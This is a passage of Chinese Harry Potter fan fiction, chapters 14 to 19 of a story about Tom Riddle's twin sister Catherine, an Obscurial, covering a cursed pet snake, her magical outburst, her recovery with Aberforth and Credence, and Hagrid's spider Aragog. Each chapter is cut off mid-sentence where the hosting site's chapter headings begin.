上课铃还没响,他们踏入教室,自然地坐到讲台正前面的两个座位上,汤姆拿出了在废品站买的二手课本《黑暗力量:自卫指南》等待着,气氛格外肃静。 “咳咳。”梅勒思教授瞥了一眼兴奋无比的汤姆·里德尔,清了清嗓子准备开始上课,“在去年,你们学会了对付博格特、红帽子、欣克庞克、格林迪洛、卡巴和狼人。今年,我们将继续教授更高阶的防御魔法。” 讲台下开始有同学们低声窃窃私语。 “在如何对付咒语方面,你们还学得很不够——很不够,”梅勒思说,“因此,我准备让你们领略一下巫师们之间施的法术,教你们如何对付黑魔法……”他又看了一眼汤姆,他面色平静,但是表面上看不出来他对梅勒思有任何的不满。 “咒语,它们有许多种形态,其魔力各不相同。现在,根据魔法部的规定,我应该教你们各种破解咒,仅此而已。照理来说,你们不到六年级,我不应该告诉你们非法的黑魔咒语是什么样子,因为你们现在年纪还小,还对付不了这套东西。可是迪佩特教授大大夸赞了一番你们的能力,他认为你们能够对付,而在我看来,你们越早了解要对付的东西越有好处。如果一样东西你从未见过,你又怎么在它面前保护自己呢?某巫师要给你念一个非法的咒语,他是不会把他的打算告诉你的。他不会坦率、公道、礼貌地给你念咒。你必须做好准备,提高警惕。” 汤姆若有所思地点点头。凯瑟琳却有一种不好的预感。她看到了梅勒思教授在进门的时候领着一个袋子,里面似有什么东西在挣扎,应该是一个活物。 “那么……你们有谁知道,哪些咒语会受到巫师法最严厉的惩罚呢?” 汤姆·里德尔举起了手。梅勒思教授四下看了一下,除了他,没人举手,只好请他回答。 “是不可饶恕咒,教授。一共有三个,魂魄出窍,钻心剜骨和阿瓦达索命。”他在说这些咒语的时候,面色如常,而其他一些斯莱特林的学生则将脖子缩了缩。 “不错。”梅勒思露出了一个冷笑。凯瑟琳觉得这不是什么好兆头,她屏住呼吸,看见梅勒思开始打开了那个里面还有东西在动的袋子。 ——然后,她睁大了眼睛,她看见梅勒思教授从袋子里抓出来的正是她和哥哥失踪了半年的宠物蛇花点。 梅勒思教授掐着花点的七寸,花点艰难地吐着信子,扭动挣扎着,痛苦万分。 凯瑟琳扭头去看汤姆,他的表情也很是难看,但是如果承认在学校里豢养毒蛇,恐怕他和凯瑟琳会被迪佩特校长扫地出门。 汤姆攥紧了拳头,一言不发。 “大家可能有些好奇,我今天为什么要特意带一条蛇来课堂。”梅勒思欣赏着里德尔兄妹难看的表情,一边悠悠地说,“正如里德尔先生所说的那样,我会为你们分别示范三种不可饶恕咒被施到这条蛇身上会有什么样的效果。” 凯瑟琳感觉自己的牙齿咬住的嘴唇已经出血了,她尝到了一种铁锈味。她看向汤姆,然后发现汤姆朝她微微摇了摇头,示意不要反对教授。 与此同时,梅勒思掏出魔杖指着花点,念道:“魂魄出窍!” 花点不吐信子了,它乖巧地任由梅勒思握着,像是一个假的橡胶蛇。梅勒思松开手,它摔在桌上,开始绕着圈子翻跟头。梅勒思一抖魔杖,它又支着尾巴站起来,跟随着梅勒思的魔杖的左右摆动开始摇摆,像是被孟加拉国艺人吹的蛇笛给控制了一样。 大家都笑了起来,包括沃尔布加——里德尔兄妹和梅勒思教授除外。 “你们觉得很好玩,是吗?”他略带讥讽地问,“如果我对你们来这一下,你们会喜欢吗?” 笑声几乎立刻就消失了。 “完全受我控制,”梅勒思轻声说——这时花点团起身子,一圈又一圈,像是要把自己卷成一团毛线,“我可以让它从窗口跳出去,或把自己淹死,或跳进你们哪一位同学的喉咙……” 沃尔布加不由自主地抖了一下。 “也许在未来,你们当中的许多人都会因为学艺不精而被夺魂咒控制,”梅勒思说,他的眼神冷不丁地扫过汤姆·里德尔。“如果真的有那么一条,要分清谁是被迫行事,谁是按自己的意愿行事是一件无比困难的事—— 不过夺魂咒是可以抵御的,我会把方法教给你们,但是这需要很强的人格力量,不是每个人都能掌握的。你们最好尽量避免被它击中。随时保持警惕!”他大声且含有威慑力地说道。 梅勒思抓起不断尝试打结的花点,用魔杖指着它施展了一个解除咒语,它立刻恢复了神志,并且重新开始拼命挣扎。 “下一个,钻心咒,也就是钻心剜骨。”梅勒思说着,他又举起魔杖,指着花点,轻轻地说:“钻心剜骨!” 立刻,花点像是被踩到的蚯蚓,身子不自然地弓了起来,它翻转着,同时身体剧烈地抽搐起来,左右晃动。不断地发出嘶嘶声。梅勒思没 15. chapter14 《【hp】假如里德尔是个妹控》全本免费阅读 “那么,既然没有破解咒,我为什么要向你们展示这些呢?因为你们必须有所了解。你们必须充分意识到什么是最糟糕的。你们不希望发现自己遇到你们现在面对的局面吧。随时保持警惕!” “好了……这三个咒语——阿瓦达索命咒、夺魂咒、钻心咒——正如里德尔先生所说,都被称为不可饶恕咒。把其中任何一个咒语用在人类身上,都足够在阿兹卡班坐一辈子监牢。这就是你们要抵御的东西。这就是我要教你们抵御的东西。你们需要做好准备。你们需要有所戒备。不过最重要的,你们需要时刻保持警惕,永远不能松懈。拿出羽毛笔……把这些记录下来……” 梅勒思的话被打断了,他看到了坐在第一排的凯瑟琳反着白眼似是癫痫发作一般颤抖着。心里只觉得不妙。 他忽然停住的话语让学生们纷纷顺着他的目光望去。 * 那是凯瑟琳严重的一次失控。 或许是凯瑟琳的病情恶化,让汤姆意识到他必须变得更加强大才能帮助自己的妹妹摆脱心魔的控制。 凯瑟琳在黑魔法防御课上魔力暴走,导致梅勒思教授和至少五六个学生被她逸散的魔力攻击到而受伤。她没有自我的意识,更听不到他的呼唤。 他第一次确认了妹妹身后确实有一种邪祟的黑暗生灵,等待时机成熟,就会控制自己的妹妹。 他看到梅勒思教授尝试用魔杖指着妹妹,念着咒语想要控制住她,却被那股像是怨气一般的黑雾撞飞出去几米,撞在了黑板上。 “凯瑟琳,你醒醒!”他急急地呼唤道,伸出手想要触摸那团在教室里乱窜的黑雾。学生们慌忙地躲到书桌下面以防止自己被刀片般的魔法刮伤。 这场闹剧直到邓布利多教授赶来才被制止。他似乎是对着那团黑雾施展了什么无声咒,然后那团黑雾就慢慢消散了,凯瑟琳也倒在了地上。 * 凯瑟琳独自站在走廊中间,盯着她对面的石墙,睁大了眼睛,空洞又无助,满脸惊恐,跟梅勒思演示钻心咒时她的表情一样。 “凯茜?”海格轻声呼唤她。 凯瑟琳慢慢地转过脸来,她变瘦了,面色憔悴。 “噢,你好,鲁伯。”她说,声音比平常响亮得多。 “我听说你最近生病了……现在好些了吗?” “噢,没事,我很好,”凯瑟琳还是用那种高得不正常的声音急促地说,“好极了。真的。” 就算是有些迟钝的海格,也发现了凯瑟琳的不对劲。她经常生病,住在医疗翼,而她的哥哥也没有像过去那样和她形影不离,据说汤姆一回到休息室就钻进自己的寝室研究着什么。 “你怎么了?上次我看到邓布利多去了医疗翼——” “谢谢你,海格。”凯瑟琳声音略微正常了一些,但是她的眼睛一直在乱瞟,直到看到正从对面走过来的汤姆·里德尔。 “我想我该走了。”凯瑟琳说,“我和哥哥还要写今天的如尼文作业——那么,再见了。” * 凯瑟琳在黑魔法防御术课上魔法失控的事情很快就不胫而走,迪佩特校长大为光火,认为这是学校里的一大丑闻,从三年级以来,凯瑟琳的病情就变得难以控制,由此可见,邓布利多把她放在学校里就是一个很不明智的决定。 迪佩特坚持要开除凯瑟琳,但是邓布利多却不同意,更令他不解的是,邓布利多的学生,纽特·斯卡曼德(现在已经是一个周游世界的神奇动物学家)也来信让他先不要把凯瑟琳开除——就像是和邓布利多达成了秘密联盟。另外,令他难以置信的是,被凯瑟琳袭击的梅勒思似乎也和邓布利多达成了联盟,他也不赞成把凯瑟琳重新放回孤儿院的举动。 “一旦她更多 16. chapter15 《【hp】假如里德尔是个妹控》全本免费阅读 这是凯瑟琳第一次和哥哥汤姆长久地分开。汤姆显得对迪佩特的决策非常不满。 “他真的过于大惊小怪了。真的。”汤姆拍着凯瑟琳单薄的后背安慰道。他主动地接过了凯瑟琳手中的行李箱,送她走到站在城堡外草坪上的阿不福思身边。 “你会照顾好她的,对吧?”汤姆用一种近乎命令的口气问道。 “……” 很显然,阿不福思和他的哥哥阿不思并不一样,他并不会直接承诺什么,也不会好声好气地回答汤姆的问题。 “里德尔,我只能替你照顾一段时间。我相信以你的能力,应该尽快找到救治妹妹的方法,而不是在这里寻求我的一个承诺。”他的蓝色眸子又变得冷冰冰的了。 “原来如此。谢谢您,邓布利多先生。”汤姆立刻又变回了彬彬有礼的模样,阿不福思从他手里接过了凯瑟琳的行李,然后朝凯瑟琳点了点头:“我们走吧。” 凯瑟琳回头不停地和哥哥挥手道别。她跟着阿不福思走出老远,看到汤姆依旧站在原地,变得越来越小。 那个高高瘦瘦的男孩,失神地望着从前和自己形影不离的妹妹和自己分别。似乎身体中的某一处被挖空了。他一直目送在那边傻傻地挥手直到看不见的妹妹离开,然后蹲在了地上,用手捂住了心脏的位置。 花点死前的痛苦求助,他不是没有听见。 但是他没有悔恨,也没有怜悯。 妹妹苏醒之后哭着问他是不是没有心。 他是不是没有心?他不知道。 但是他可以肯定自己和多愁善感的妹妹并不一样,她总能够敏感地知悉周围人对她的态度,而这样的敏锐也成为了伤害她的利剑。 从这方面来看,他显得迟钝很多。在很小的时候他的潜意识里面就只有“保护好妹妹”的想法,那场悲剧来得是那样的突然,让他的妹妹在一夜之间从一个能够有无限未来的女巫变成了一个可怜的异类。 他的妹妹拥有他没有的感情,他拥有妹妹无法施展的强大魔法。他处处关照着她的感受,却没想到总有教授想要试探他的底线。 想到这里,他重新站了起来,眼神中有狠厉的红光一闪而过。 * 走出霍格沃茨大门后,阿不福思使用了幻影移形,一整令人作呕的挤压感过去之后,凯瑟琳的双脚终于落在了地面上。 这是猪头酒吧的门外。凯瑟琳感觉幻影移形带来的恶心感还没有褪去,她想要干呕,却被阿不福思扶住,往台阶上走去。 阿不福思走进猪头酒吧,将门拴上,然后继续扶着她爬上了她三年级时从未来过的酒吧二楼。那时一个逼仄的小旅馆。 在她面前,挂着一幅巨大的金发女孩。 阿不福思看到凯瑟琳正在端详那幅画像也并没有说话,而是弯下腰去点炉火。 “她就是你的妹妹吗?”凯瑟琳终于忍不住打破了沉默。 阿不福思直起腰,刚燃起的炉火发出噼里啪啦的声音,他和邓布利多相似的半月形眼睛从鼻梁上往下滑了一点,映照着火光。 “是。”他粗声粗气地说道。“她叫阿莉安娜。” 凯瑟琳再次看向那幅画,这是整个屋子里唯一的一幅画。没有阿不思·邓不利多,或者其他什么人的照片。 “你或许以为我哥哥阿不思是最杰出的人吧?很多人也都这样想——但他只是看起来杰出而已。” “对不起,邓布利多先生。”凯瑟琳接过话茬,大着胆子问了一个她觉得有些冒犯的问题,“我经常听莫普西说过你和哥哥的关系不好……我猜想,这是因为你的妹妹吧?” 阿不福思的目光有一瞬间的凌厉,但是在接触到凯瑟琳的目光时,终究缓和了下来,他叹了一口气,开始讲述尘封的过往:“我妹妹六岁的时候,被三个麻瓜男孩子攻击了——和你差不多的年纪,差不多的经历。 他们透过后花园的篱笆看到了她用魔法。她还是个孩子,她不会控制自己――没有哪个女巫在那么小的年纪能控制住自己。我猜他们看到以后是吓坏了。他们越过篱笆,还没等她给他们展示她的戏法,他们就像疯了一样阻止了她。” 在火光中,凯瑟琳的眼睛睁得大大的。阿不福思站了起来,跟他哥哥差不多高的身影突然愤怒、痛苦地继续道: “她受到了很大的打击。看看那三个孩子都做了些什么:从那以后,她再也没正常过。她不肯用魔法,但却摆脱不掉它;它吞噬了她的内心,让她彻底疯掉了。当不受控制的时候,它又爆发出来,让她变得相当可怕和危险……但大部分时间里,她还是相当可爱的,并没有恶意。” “我父亲找到了那几个混蛋,”阿不福思接着说,“还教训了他们。结果他因此被关在了阿兹卡班。他从来没说出这么做的原因,因为如果魔法部知道了阿莉安娜变成了什么样子,她将要永远被关在圣芒戈了。他们认为如果她体内的魔法不受控制地爆发出来,对于《国际保密法》将会是相当大的挑战。” “我们不得不给她找个安全的地方休养。于是我们搬了家,跟别人说她病了。我妈妈一直照看着她,尽可能让她每天安安静静,开开心心的。” “她最喜欢我了,”说着,他那长着乱蓬蓬的褐色胡子的脸上流露出孩子一样的眼神,“不是阿不思,我哥哥在家总是躲在自己的屋子里看书,数着他那些奖状,为了成为‘当代最著名的名字’之一。” 阿不福思继续说道:“他从来不为她操心。而我会。她最听我的话了,不愿意吃饭的时候,我总能帮我妈妈哄她吃下去。她发脾气的时候,我能让她平静下来;而当她听话的时候我们就一起喂山羊。” 凯瑟琳想到了自己的哥哥。由于生在孤儿院,他和哥哥一样都不受待见,被认为是怪胎。她知道他们之间有一个叫做血缘的东西将他们维系在一起,让他们相似,让他们互相取暖、形影不离。就算是进入霍格沃茨,汤姆·里德尔和邓布利多一样热衷于争取名声和荣耀,但是他同样维护着自己,每次从医疗翼醒来,她都能第一时间看到她的哥哥。因此,她不能理解邓布利多教授小时候为什么会完全不为自己的妹妹担心。 “在那之后,她十四岁的时候……唉,当时我不在场,”阿不福思说,“如果我在,我一定能止住她的……她爆发了,我妈妈不如她年轻,然后……出了一点小事故,阿莉安娜没控制住自己,结果我妈妈死了。” 凯瑟琳面带同情地、安静地听着阿不福思讲述着他和妹妹的过往。阿不福思不停地说着,像是一个尘封多年的门被打开,里面飘飞着的往事被一股脑地倾倒出来。 “当阿不思带着小多戈完成环球旅行以后,他们俩回到家来参加妈妈的葬礼。之后多戈自己走了,阿不思留下来主持家务,哼!” 阿不福思向火里吐了一口唾沫。 “我跟他说,我要留在家里照顾妹妹,不上学也没关系。他说我必须完成学业,他会接替妈妈来照顾妹妹。让‘这么有才华’的人天天照顾自己那疯疯癫癫的妹妹,阻止她隔三差五就把房子炸个底朝天,还真是有些屈才。不过不管怎么说,开头的几周他做的倒是还好 17. chapter16 《【hp】假如里德尔是个妹控》全本免费阅读 “他是谁?”凯瑟琳转回身问阿不福思。 “我叫克雷登斯。”身后的那个人说话了,“是他的……儿子。” “啊。”凯瑟琳像是受到惊吓一般站了起来。她感到有些意外,因为过去的一年里她从未见到过阿不福思的儿子,他就像是一个凭空出现的人。不过…… 凯瑟琳定睛观察扶着门框站立的年轻男人,他瘦极了,几乎一阵风就能吹跑,虽然虚弱,但是精神看起来还不错。或许是因为他有着和阿不福思毫不相似的棕色眼睛和黑色齐肩的头发,如果他不说,没有人能够把他们的关系和“父子“联系在一起。 而克雷登斯似乎是看穿了凯瑟琳的疑问,他露出一个惨然的笑,说道:“其实刚才他说漏了一个人。我,也是默然者——” “过来坐着说吧。”凯瑟琳身后的阿不福思说道。 克雷登斯看了他父亲一眼,然后慢吞吞地挪到了炉火旁边。阿不福思为他变出来一张舒适的扶手椅上面还放着一个柔软的靠枕,克雷登斯微微皱了皱眉。 “我不需要特殊照顾。” “不要逞强!克雷登斯!”阿不福思毫不让步地说道。 克雷登斯站着和阿不福思对视着,半晌,终于还是败下阵来,他认命似地倒进扶手椅里面。 “谢谢。”他对阿不福思说。 阿不福思的低气压明显减少了一些,他没有回答,把头扭了过去。 “邓布利多先生……其实我有点好奇……就是……”凯瑟琳斟酌着向阿不福思发问,她眼睛时不时地看向眯着眼睛取暖的克雷登斯。“他也是默然者?他是你的儿子?还有他刚才说的我是默然者这个……治不了吗?” 阿不福思放下刚才倒的蜂蜜酒,他叹了一口气,看向克雷登斯,然后发现他并没有要继续解释的意思,只好自己接过话茬。 “克雷登斯说的没有错。既然他不打算说,还是让我一个问题一个问题的来回答吧。 唉。我接着刚才的话来讲。我的哥哥终于摆脱了阿莉安娜这个麻烦——” “爸爸,别这样说。阿不思最起码救了我一命,同样的,我想他也不会觉得阿莉安娜是个麻烦。”克雷登斯打断了阿不福思的话。 阿不福思瞪着自己的儿子,他似乎为儿子坚持为自己哥哥说好话而感到难以置信。 “算了,那我们不说这个。”阿不福思看着自己虚弱的儿子,放弃了和他争辩继续说道,“在那之后,我哥哥继续精进他的魔法,然后应聘了霍格沃茨的变形术教授;而于此同时的格林德沃开始在全球演说,他素有三寸不烂之舌的美名,擅长蛊惑人心,即使不使用夺魂术,也能打着让巫师们不再躲藏的名义继续笼络人心、获得更多的支持者。 而我,在毕业之后,我就自己开了酒馆做生意。有一位女士——她是我哥哥阿不思的爱慕者,只可惜,她发现阿不思对她毫无意思。我想你明白,我哥哥年轻时确实有不少的女性追求者,不过他心里只有变强和与格林德沃所谓的‘伟大事业’。于是,这位女士就盯上了我,作为与哥哥有着七八分相似的弟弟。 她蛊惑了我,啊当然,不是使用迷情剂,我还不至于被那么低劣的小把戏放倒。她让我以为她爱的人真的是我,我很快坠入了爱河并结了婚。直到结婚的时候,她才知道我和哥哥的关系并不好,但是那时候她已经怀孕了。 她变得郁郁寡欢,只有我被蒙在鼓里,我不明白她为什么不开心。得知我的妻子怀孕后,阿不思来过一次,他说,如果我们的孩子是个女孩,就叫阿莉安娜·邓布利多——啊,多么可笑的名字;如果是男孩,就叫奥睿利乌斯·邓布利多,我猜测可能也是因此,我妻子才会决定生下这个孩子。 她在生产前悄无声息地离开了,去了美国,可能是知道我哥哥的好友正在那边发展势力。说实话,我并不知道后来发生了什么,她现在是否还活着,活的怎么样。我只知道她抛弃了我们的儿子,在那之后,克雷登斯就被新塞勒姆慈善协会的玛丽·露·拜尔本所收养,并给他取了这个名字。这两个女人之中必然有一个是让我的孩子变成默然者的罪魁祸首,或许是我的妻子,她也许和美国麻瓜产生了冲突,而被年幼的克雷登斯目睹,从而开始压抑自己的魔法;要么就是玛丽,这个每日辗转在美国各地演说,致力于曝光和消灭巫师的麻瓜错误地想要‘纠正’我儿子会魔法的错误。 当然,她没有得逞,她再后来在克雷登斯默默然爆发的时候被杀死。在那之后,我可怜的儿子就开始四处流浪,他怎么会知道他的亲人远在大西洋的彼岸呢?与此同时,势力如日中天的格林德沃发现了克雷登斯的能力,他想要把克雷登斯用于黑魔法研究,利用默默然的黑暗力量实现自己的强权统治。 阿不思在这个时候站了出来,创立了凤凰社,开始招宾买马以阻止格林德沃势力。事情没有这么简单,我哥哥年轻时头脑发热和那个家伙缔结了一个什么契约,然后他必须得找到破解之法,他派了神奇动物学家纽特·斯卡曼德前往寻找那个契约,也几乎是就是在十几年前吧,然后就目睹了美国魔法国会的 18. chapter17 《【hp】假如里德尔是个妹控》全本免费阅读 凯瑟琳确定现在是宵禁时间。 但是现在她正和哥哥正站在一个巨大的房间里,这个房间里面杂乱不堪,摆放着各式各样的资料和报纸,还有一排排积满灰尘的书架,但是从装潢风格来看绝对是霍格沃茨城堡里面的某个房间。她的哥哥走在她前面,她只好一刻不停地跟着他。 “你在找什么?”似乎走路是一件很费力的事情,她不得不喘着粗气问一刻不停地往前走的汤姆。 “我在找……能救你的方法。”汤姆的声音似乎是从很遥远的地方传来,然后,他终于像是意识到了什么,狂喜地转过身,朝凯瑟琳的方向跑过来。 他一把把凯瑟琳拥入怀中,几乎是疯狂地说道:“你真的能看到我了?凯瑟琳?” “你在说什么啊?”凯瑟琳觉得哥哥的怀抱有些紧,往外挣了挣,但是汤姆的力量很强大,几乎是把她箍在了他怀里。 “我简直不敢相信!我成功了凯瑟琳——成功的第一步。你知道吗?我们的意识相通了!” 哥哥的声音从她的头顶传来,而面前他二手校服上还残留着哥哥特有的温暖香气,凯瑟琳就那样愣住了。 明明上周日的时候哥哥才来过猪头酒吧,怎么一下变得那么高了呢?她抬头看去,感觉自己就像是一个小孩子,而哥哥已经是一个英俊的青年,他身材修长,眼神有力,透露着强者的气息。 “你为什么长高了这么多……还有,什么叫‘意识相通’?”凯瑟琳问道。 “啊。好像是的。”汤姆似乎像是才注意到一样,“你看起来像是一年级的小朋友。”他习惯性地腾出一只手摸了摸妹妹的脑袋,继续说道,“我估计可能和精神力的强弱有关系吧。不过这个不重要,重要是你刚才问的‘意识相通’。 阿不福思在带你离开的时候跟我说过,要我寻找办法来治疗你。说实话,以前我一直没有太把你的身体状况当一回事,我只认为你是有些心理障碍不能克服。结果,三年级时你那次练习漂浮咒时的样子真的把我吓坏了,可能从那时起,默默然才正式开始滋长了吧,我没想到花点被梅勒思那个老家伙折磨死会给你影响这么大,你那时候被裹挟在一团黑雾里面,听不到我的呼唤,我才意识到,事情已经很严重了。 从那之后,我就开始研究有什么办法能够对付默默然。上神奇动物课的时候,我了解到这个生物似乎会和一个宿主纠缠一辈子,如果要强制剥离,宿主可能会更早死去,目前还没有成功的案例——就像阿不福思和他儿子跟你说的那样。但是,就在我认为毫无头绪的时候,我忽然想起了我们之间独一无二的一个特性,那就是双生子特有的心灵感应。” “心灵感应?”凯瑟琳把哥哥所说的最后一个词重复了一遍。 似乎确有这么一回事。 凯瑟琳第一个想到的倒也不是一下就能猜中对方的心思——这个本领她反正是没有的;她所想的是另外一种。尤其是小的时候,在孤儿院里,即使他们没有待在一起,但是如果凯瑟琳遭到了欺负,汤姆总会是最快出现在她身边的那个人。或许,这就是所谓的心灵感应? 但是,她怎么从来感知不到她哥哥有危险呢? 也是……他那么强大,似乎从来不会伤心,能被谁欺负呢? “没错,然后我就进一步想利用这一种默契,然后就发现了意识互通。严格的来说,只有享有共同血液的人才有这样的可能,就比如我们。正是因为我们身上流着一样的血,所以我们可以共享意识,你可以了解我的思想,我也可以了解你的,但我们甚至不需要见面。” “所以,我们现在是,做到了?”凯瑟琳的声音也雀跃了起来,充满敬佩地抬头看向哥哥。 “显而易见。”汤姆露出一个骄傲的笑容,在妹妹面前,他永远会是一个无所不能的哥哥。 “那我们现在是在哪里?”凯瑟琳接着问。 “这里?噢,是的……”汤姆像是才回过神来,他环顾了一下四周,笑着对凯瑟琳说,“我敢打赌,这是霍格沃茨城堡最神秘莫测的一个房间。它叫,有求必应屋。” “有求必应屋?” “这是一个很神奇的房间,我是在图书馆查资料的时候无意中得知的,然后我就循着线索一路走到了八楼,在一个挂毯的后面,只要专注地想自己想要的东西,很快就能看到墙上出现一个光滑的门。当然,等你能够返校了, 19. chapter18 《【hp】假如里德尔是个妹控》全本免费阅读 凯茜: 最近怎么样?感谢你告诉我你所在的地址,我才能偷偷给你写信——你放一万个心,我没有告诉任何人,他们找不到你。 我听说汤姆当上了斯莱特林的级长,恭喜他。 四年级的神奇保护动物课非常有意思。我们学了隐形兽,它是种性情温和,喜好安静的食草动物,外表看上去有点儿像姿势优雅的猿人,一双大大的黑眼睛时常藏在头发里面,流露出淡淡的哀伤,全身长满了丝绸一般银光闪闪的长长细毛,只可惜由于太稀有,教授没能抓到一只给我们摸摸。 另外,我告诉你一个秘密!你知道的,我一直特别喜欢各种各样的神奇的生物,前段时间我来猪头酒吧玩掷骰子的时候,赢了一个自称是远方的旅行者的人,他输得心服口服,就说送给我一只他搜集的巨型蜘蛛卵,这真的太神奇了! 我把蜘蛛卵藏在了霍格沃茨一个很隐蔽的碗橱里面,然后前段时间,它孵化了。不过很遗憾,我没办法把大蜘蛛送到其他的地方隐藏,我只能继续让它在碗橱里长大。而且,我研究了这个物种,我才发现这种巨型蜘蛛其实是靠捕食人类生存——所以那个“远方的旅行者”根本就是想置我于死地也说不定? 但是,我很舍不得我亲手养起来的小蜘蛛,于是我每天都会拿面包屑喂养他,或许这样他未来就不会以人类为食了。对了,我还没给他起个名字……他是一只雄性的蜘蛛。 凯瑟琳,你能给我一点建议吗? 望一切都好, 鲁伯·海格 1942.9.14 Ps:请把信绑在我的猫头鹰奈特腿上,他知道我在哪里。 亲爱的鲁伯: 很高兴从你的信里读到这么有趣的故事。我多希望能亲眼见见巨型蜘蛛,不过要是把那么大一只蜘蛛带出来,确实很麻烦……至于起名字,我查阅了书籍,然后想到了一个非常适合他的名字! 我想到了希腊神话中的一个织锦少女的名字Arache,她因擅长织锦而遭雅典娜嫉妒,被雅典娜变成蜘蛛,因此,叫“阿拉戈克”,如何? 爱你的 凯瑟琳 1942.9.16 * 凯瑟琳和汤姆的意识再次站在有求必应屋里面。他们正在交换着最近的信息,他们已经确认了这样的意识链接是可以在醒来后保留记忆的。 “我发现了海格的一个秘密——他居然在霍格沃茨里面私自豢养巨型蜘蛛。”汤姆说。 凯瑟琳只觉得心里一惊,“你看错了吧哥哥?海格是个很踏实的学生。” “不,不可能。我跟踪他亲眼所见的。”汤姆反驳道,“他最近一直鬼鬼祟祟地往厨房跑,我就不明白他怎么喜欢往挤满臭烘烘的家养小精灵的地方凑,于是我就跟着他,发现他进入厨房后,找了一大团面包屑,然后打开了碗橱——那里面,居然藏着一只大蜘蛛!我打定主意了,明天我就去和迪佩特校长打报告,格兰芬多大概会为此被扣上不少分。” “不,哥哥,别这样。”凯瑟琳终于忍不住了,“其实,这是海格的一个秘密。” “他的秘密?这当然得是一个秘密!不过,你怎么知道的?他和你说了?” 凯瑟琳点了点头,眼神中带着一些祈求。“而且那只蜘蛛的名字还是我起的。所以哥哥,要不,这一次就算了?反正也没有任何的影响……” “唉,好吧。”汤姆看着妹妹抿着唇泫然欲泣的样子,终于妥协了,“不过,我很不开心,凯瑟琳。这些事情你都不跟我讲,你好像越来越不愿意和你的哥哥坦诚了呢。” “怎么会! 只不过海格说这是一个秘密……” “连哥哥都不能告诉吗?” “好吧。”凯瑟琳低着头,不敢看汤姆。明明他是那个想要知道所有秘密的人,怎么感觉理亏的始终是她呢? “对了,哥哥,你知道和阿尼玛格斯有关的血咒吗?” “什么?” “阿不福思有一个儿子,就像上次我和你说的那样。他也是一个默默然,他在美国的马戏团里遇到了一个叫纳吉尼的女士,她能够在蛇和人形态之间来回切换,但是克雷登斯说她身患血咒。他在被阿不福思带离美国的时候和纳吉尼走散了,没能把她一起带回来,阿不福思说很有可能是被格林德沃抓回去做研究了。” “我懂了,这种叫‘血咒兽人’。上次你跟我说的时候,我就查了资料,无论她一开始怎么变,最后都会变成一条无人类意识的蛇。”汤姆的眸光闪了闪,透着一些贪婪。“而我们,蛇佬腔,就是他们的主人。” 凯瑟琳眨了眨眼。“那她好可怜。克雷登斯一直对她念念不忘,因为他们曾经是非常要好的朋友,现在却杳无音讯,是生是死都不清楚。” “你想要帮克雷登斯?”汤姆问。 凯瑟琳点头,“这是我本能的想法,因为……我们都有着那种特殊的身份。我不想看到他谈到好友那么难过的样子。但是美国离这里太遥远了,我就算会魔法也什么都做不了。”她脑海中浮现出了克雷登斯在一年多的时间来肉眼可见的憔悴和越来越差的身体。 “再说吧。其实有些东西其实不用刻意的寻找,在他们该出现的时候,自然会出现的。” 汤姆移开了视线。“对了,邓布利多来找我谈话了,他应该不久后也会来找你。这一年半的时间,你在阿不福思那里恢复得很好,情绪也没有失控过。所以他说,只要迪佩特拍板,你最快在圣诞节之后就能回霍格沃茨了。” * 凯瑟琳在猪头酒吧和阿不福思父子一起过完圣诞节之后才回到学校。汤姆因为厌恶伍氏孤儿院,所以圣诞节自然是选择住校的。所以当凯瑟琳回到斯莱特林休息室的时候,正好看见他坐在斯莱特林的黑色真皮沙发上。 见到凯瑟琳回来,他显得很高兴,站了起来朝妹妹走过去。 “凯瑟琳!欢迎回来!” 凯瑟琳显然也很高兴,她上前扑进哥哥怀里,然后又想想起什么似的,从行李箱里掏出一个深蓝色封皮的本子。 “哥哥,这是我给你准备的生日礼物,就算是连着圣诞节一起送啦,是一个记事本!” “噢……谢谢,正好我最近缺一个……记日记的本子。我也给你准备了礼物。”汤姆转过身掏出魔杖,对着房间喊了一声“发卡飞来!” 一个精致的蛋壳蓝色的发卡就出现在他的手心,上面还有几朵白色小花的装饰。汤姆贴心地将发卡别在了妹妹头发上,让妹妹转了一圈好让他好好欣赏一下。 < 20. chapter19 《【hp】假如里德尔是个妹控》全本免费阅读 凯瑟琳和海格站在霍格沃茨地下厨房里,海格快速地打开了碗橱的门,里面正趴着一只大蜘蛛。他已经和一只猎犬一样大了,八只圆溜溜的和眼睛在看到海格和凯瑟琳的时候露出欢快的神色。 海格捧着一大堆面包屑到阿拉戈克的面前,温柔地说:“吃吧,快吃吧!饿坏了吧小家伙。” 阿拉戈克愉快地一头栽进海格的大手里狂炫面包屑。“没有,我知道你们很忙。” “阿拉戈克,我这里还有!”凯瑟琳也捧起一堆从家养小精灵那边搜刮来的面包屑,只不过她的手比海格要小的多。阿拉戈克转过身,很给面子的全部吃完。 “他越长越大了,”当阿拉戈克吃完午餐舒服地躺回碗橱里后,他们离开了厨房,走在路上,凯瑟琳有些担忧地说,“我在书上看到这种八眼巨蛛成年后会长到和小汽车一样大……总不能让他一直蜷缩在这个小碗橱里吧?” “唉。我也在想他之后该怎么办。”海格也唉声叹气,“要么我把他偷出来放回禁林;要么我只能跟迪佩特校长摊牌,或者求求邓布利多教授,让他们想办法关照一下阿拉戈克。” 凯瑟琳点了点头,她也提不出更好的主意了。汤姆正在走廊拐角处等她去上课,于是,她和海格匆匆分别。 “你们又去喂那个八眼巨蛛了?”汤姆问道。实际上,他是想要凯瑟琳告诉他她具体干了些什么。 “对。他有名字的哥哥,叫阿拉戈克。”凯瑟琳强调,“他很友好,不会伤害我们的。” 汤姆撇了撇嘴,“至于他是不是真的友好,或许有待商榷。我查阅资料发现这种蜘蛛在成年后攻击力会极强,繁衍的千万后代都会听从父母的指挥……我在想,或许它们会成为我得力的助手。” “可是,你都不肯去喂他。” “我不需要给他恩惠,他未来也可以听命于我。”汤姆说,想到那个脏乱差的厨房,他皱了皱眉头。 “好吧。噢,对了!”凯瑟琳说着,伸手从衣服口袋里掏出昨天晚上卡米拉交给她的粉色信封,里面似乎还装了什么东西,在汤姆面前晃了晃。 “这是什么?” “我室友卡米拉写给你的情书……应该。她想邀请你和她一起过今年的情人节。” “你跟她说——”汤姆本想拒绝,但是在摸到信封里似乎有什么东西之后,忽然又改变了主意。“跟她说谢谢。我收下了。” 修长的手从凯瑟琳眼前把信封抽走了。 * 汤姆·里德尔回到斯莱特林公共休息室,正好碰到准备往外走的卡米拉·格林格拉斯。他朝汤姆·里德尔娇羞地抛了一个媚眼,很显然凯瑟琳已经告诉她她的情书被汤姆收下的事情了。 她似乎对能和汤姆一起过情人节的事情非常自信。 汤姆朝她露出一个温柔的笑,然后进入了他的男生寝室 